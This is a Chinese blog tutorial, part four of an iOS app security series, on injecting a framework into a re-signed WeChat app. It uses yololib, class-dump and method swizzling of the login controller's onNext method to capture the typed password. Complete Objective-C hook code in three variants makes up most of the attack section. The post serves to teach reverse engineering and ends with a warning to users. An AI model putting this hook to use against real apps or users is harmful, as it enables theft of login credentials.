综合开发

iOS应用安全4 — 代码注入,窃取微信登录密码

微信扫一扫,分享到朋友圈

iOS应用安全4 — 代码注入,窃取微信登录密码

上篇文章讲述了Apple公司双重签名机制的原理,并且针对这个原理我们又学到了一种将别人的.ipa包修改Bundle ID后运行在我们手机的方法——重签名。

说白了重签名为的是什么?就是为了能让我们修改了App的逻辑之后还能正常安装到手机并且调试运行,那么接下来这篇文章就是讲述如何去修改App原有的代码逻辑。

注意哟,本篇文章需要具备一些简单的runtime知识。

代码注入

代码注入目前主要是通过framework注入,本次我们使用的就是framework注入的方式进行讲解。当然也可以使用静态库Static Library进行代码注入,只不过过程上要较为复杂一些。

代码注入是在重签名的基础上进行的,所以先按照上篇文章写的将App进行重签名,建议使用脚本重签名,使用简单,不易出错。

新建framework

按照Targets—> + —>framework新建一个framework,名字随便起,笔者这里已经创建好了,名字起的是HYHook.framework。

直接编译一遍

创建好了framework之后直接编译一遍,

然后查看Products—>代码注入.app—>Frameworks文件夹,是不是发现我们刚刚创建的framework已经添加到Frameworks文件夹里面了。是不是很神奇?这也是为什么我们要使用framework进行代码注入的原因之一。

如何让App去加载我们添加的framework?

App在运行的时候能够执行到以下3个地方的代码:

  1. 系统库。非越狱手机是无法修改的。
  2. MachO二进制文件。可以修改,但是我们需要使用二进制去修改,要求较高。
  3. framework库。

在刚刚我们已经将framework添加到了Frameworks文件夹下,但是注意,这并不代表着这个framework已经可以用了。使用 MachOView 查看App的MachO文件如下。因为MachO文件的二进制数据的排列是有规律的,所以这里我们就可以使用MachOView来将MachO二进制文件破解出某些信息,在界面上展示出来。

上图中MachO文件破解后有个
Load Commands

项,这一项中表示了在MachO执行的时候需要加载的资源文件,而下面圈起来的部分就是需要加载的代码库,我们查看这些库可以发现这里面是没有我们刚刚新建的framework的。

也就是说,我们刚刚新建了一个framework,并且也添加到了Frameworks文件夹里面,但是在执行MachO文件的时候并不会将这个framework加载到内存中,因此也就还是无法调用。此时我们就需要另外一个工具 yololib 了,这是一个命令行工具,安装后在重签名脚本最后添加下面一行脚本即可修改MachO文件,在执行的时候加载我们的framework。HYHook是我刚刚创建的framework的名称,需要修改成你们自己创建的framework名称。

yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"
复制代码

注意:如果只是重签名上面那行命令不要添加,在代码注入的时候再添加,并且framework名字要与创建的framework相同。

注入代码

目前我们已经将自己创建的framework添加到了Frameworks文件夹里面,并且现在MachO文件在执行的时候也会将这个framework加载到内存中。那么接下来我们就要开始让framework做点事情了。

1、创建一个类,名字随便,我这里叫 HYHookLogin ,因为后面要使用这个类去获取微信的登录密码。

2、在.m中实现这个类的load方法,代码如下:

+ (void)load {
NSLog(@"这是注入的代码打印出来的:joy::joy::joy::joy:");
}
复制代码

3、运行代码,可以看到这句话已经打印出来了,说明我们注入的代码执行了。

获取微信登录密码

我们已经知道如何让App执行添加的framework代码了,不过那些都不是重点,真正的重点从这里开始。

黑魔法 Method Swizzling

相信很多童鞋在这之前应该都多多少少了解过iOS的黑魔法 Method Swizzling ,不了解也没关系,现在就来讲讲这个黑魔法。

讲之前我默认你知道SEL和IMP对于方法来说所表示的意义。再说一下吧

  • SEL:相当于一本书的目录,我可以通过这个目录找到IMP。
  • IMP:相当于真正要找到,要使用的东西。

简而言之,通过SEL可以找到方法实现的地址,而IMP就是方法的实现地址。

他俩的关系是一一对应的,盗一张图:grin:

而我们的黑魔法看着他们一一对应很不爽,于是就有了下面这样:ok_hand:

也就是说,黑魔法将两个方法的方法实现进行了交换。这样,调用方法2的时候实质上会执行方法3的代码,调用方法3的时候实质上会执行方法2的代码,这就是我们说的黑魔法。

动态调试

动态调试,听名字感觉很高大上,其实就是在App运行期间进行lldb调试。这里我们依然以微信作为学习软件。

  1. 运行项目,此时xcode会将重签名的微信安装到手机并打开。
  2. 点击登录进入登录页面,点击 用微信号/QQ号/邮箱登录 ,此时我们就会进入到账号密码输入界面。
  3. 在xcode上点击Debug View Hierarchy,不知道哪一个?看下面。
  4. 此时我们就可以看到微信登录界面上各个控件的层级关系和信息。
  5. 点击上面的登录按钮(可以把视图稍微斜一点,容易点到一些)。
  6. 此时我们可以看到这个按钮的Target和Action,是不是想起这个了?
[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];
复制代码

这时候就可以猜测,点击登录按钮的时候控制器 WCAccountMainLoginViewController 对象就会调用 onNext 方法,但是现在我们如何确定这个 onNext 方法是对象方法还是类方法呢?

静态分析

上面的动态调试让我们猜测到点击登录按钮会调用 onNext 方法,那么这个静态分析就是来辅助验证我们猜测的。

这里还要使用到一个工具 class-dump ,同样也是一个命令行工具,为了让这些工具在哪都能使用,我们可以把他们的可执行文件放到 /usr/local/bin 目录下。

class-dump的作用就是可以反编译App的MachO文件,将里面类的属性/成员变量和方法声明进行导出,便于查看。

// 使用以下命令将WeChat的MachO文件的头文件导出到Header文件夹
class-dump -H WeChat -o Header
复制代码

另外,再介绍一个工具 sublime Text ,这个工具是一个轻量级的编辑器,拥有xcode全局搜索一样的功能,我们可以用它打开class-dump导出的头文件文件夹,快速搜索我们需要的东西。

是不是有疑问:为什么不直接使用xcode呢?

像我们使用的这个微信,导出的头文件有10000多个。笔者试过,将这些文件往xcode工程中一拖,xcode立马卡死,强制退出点了3次才退掉。sublime Text的有点就是它是轻量级的,加载10000多个头文件轻轻松松,同时也能快速的全局搜索。(具体用不用根据自己需要吧:smile:)

接下来全局搜索我们想要的东西吧!

  1. 使用sublime Text打开我们导出的Header文件夹,如下:
  2. command + shift + f 打开全局搜索,输入 @interface WCAccountMainLoginViewController 进行搜索。
  3. 双击我们搜索到的文件,跳转到指定文件内,可以发现这里面基本上有这个类中所有属性和方法的声明,我们要验证的onNext方法也在其中。

获取密码

通过上面的动态调试和静态分析,我们已经基本可以确定onNext方法就是点击登录时要执行的方法,那么现在就该想想我们要如何获取登录密码?

  1. 在View Debug视图中点击密码输入框,可以看到密码输入框是一个 WCUITextField 类型的对象。
  2. 然后我们再到刚刚搜索出来的 WCAccountMainLoginViewController.h 文件中找,看看有没有 WCUITextField 类型的对象。很遗憾,没找到。虽然没找到,但是我们貌似发现来两个可疑对象?(由此可见代码混淆有多重要)
  3. 找到了可疑对象,我们就根据线索往深处查,全局搜索 @interface WCAccountTextFieldItem ,找到了,但是发现什么也没有。
  4. 别灰心,这家伙不是还继承了 WCBaseTextFieldItem 吗?继续沿着线索查,全局搜索 @interface WCBaseTextFieldItem 。哈哈,发现了什么?一个 WCUITextField 类型的变量。
  5. 找到了这个很可疑的对象了,现在我们99%的确定这家伙就是我们要找的密码输入框,但是别着急写代码破解,以免写完了发现这其实是那1%,哈哈。所以要再进行一步验证,让这个几率达到100%。
  6. 100%验证。关掉View Debug,在输入框里随便输入账号密码,再打开View Debug,并且选中控制器对象,如下:
  7. 然后使用lldb进行调试,来验证我们那个99%的猜测。通过验证,完全和我们猜测的一样,100%肯定了。

代码实现

我们找到了登录按钮的点击事件方法 - (void)onNext; 密码的输入框对象 _textFieldUserPwdItem 。那么下面就是需要我们使用代码获取微信登录密码的时刻了。

  1. HYHookLogin 类中导入 #import <objc/runtime.h> 并且定义方法 - (void)new_onNext; 重写 HYHookLogin 类的 + (void)load; 方法。
+ (void)load {
}
- (void)new_onNext {
}
复制代码
  1. load 方法中使用上面说的黑魔法将 WCAccountMainLoginViewController 类中的 onNext 方法和 HYHookLogin 类中的 new_onNext 方法的实现进行交换。代码如下:
+ (void)load {
// 获取Method对象
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
Method new_onNext = class_getInstanceMethod(self, @selector(new_onNext));
// 交换方法
method_exchangeImplementations(onNext, new_onNext);
}
- (void)new_onNext {
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到的密码是:%@", pwdTF.text);
// 为了不改变原本的登录逻辑,这里需要调用微信原本的onNext方法实现
// 但由于new_onNext的方法实现已经与onNext方法实现进行了交换,所以需要[self new_onNext]调用,并不会递归。
[self new_onNext];
}
复制代码
  1. 满心欢喜的运行,结果崩溃了。原因就是 WCAccountMainLoginViewController 类中是没有 new_onNext 方法的声明的。找不到这个方法的SEL。
  2. 最后的问题就是要解决这个崩溃了,这里不再过多的叙述,我直接把解决这个崩溃问题的三种方法贴出来,读者可以根据代码分析其中的逻辑和各种方法的优缺点。
+(void)load {
//    // 第1种方法
//    // 获取Method对象
//    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//    // 给WCAccountMainLoginViewController添加方法,为了解决[self new_onNext]调用崩溃的问题
//    class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
//    // 交换方法
//    method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
//    // 第2种方法
//    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//    /*
//     方法替换,参数说明
//     1、将要被替换的方法在哪个类
//     2、将要被替换的方法在类中的SEL
//     3、替换方法的具体实现
//     4、方法标识,返回值类型v == void,发送消息的对象的类型@ == id,消息的SEL == :
//     返回的是被替换方法的IMP,类型是IMP  IMP == void(*)(void) 类型,此时可强转为void(*)(id, SEL)类型
//     */
//    old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// 第3种方法
Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 获取老onNext方法的IMP
old_onNext = (void(*)(id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 获取新onNext方法的IMP
IMP new_onNext = class_getMethodImplementation(self, @selector(new_onNext));
// 修改onNext方法的IMP为new_onNext
method_setImplementation(onNext, new_onNext);
}
// 用来接收老的onNext方法的地址    显式声明old_onNext是一个函数指针变量,第2,3种方法需要这个。
void (*old_onNext)(id self, SEL _cmd);
- (void)new_onNext {
NSLog(@"点击了登录按钮");
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"窃取到的密码是:%@", pwdTF.text);
//    // 第1种方法
//    [self new_onNext];      // 因为WCAccountMainLoginViewController类没有这个方法,直接调用会找不到,崩溃
//    // 第2种方法
//    old_onNext(self, _cmd);
// 第3种方法
old_onNext(self, _cmd);
}
复制代码

其实这三种方法解决崩溃的原理上大同小异,就看读者你喜欢用哪种方法了。

总结

这篇文章讲述了如何通过framework进行代码注入,并且在此基础上一步步逆向分析出微信的登录密码如何窃取。之所以用窃取这个词,就是因为在用户层上,并没有改变微信原本的登录请求,只是在登录之前添加了一点点东西用来窃取用户输入的密码。

用红色文字提示用户:
没事千万别把手机越狱,使用别人开发的插件,很可能别人的插件就有这个获取密码的功能,然后通过网络请求将你的密码上传到某个服务器上,讽刺的是这个账号密码还是你自己输入给人家的:joy::joy::joy:

修改加密狗授权时间

上一篇

Linux内核裁剪移植学习分享

下一篇

你也可能喜欢

评论已经被关闭。

插入图片

热门栏目

iOS应用安全4 — 代码注入,窃取微信登录密码

长按储存图像,分享给朋友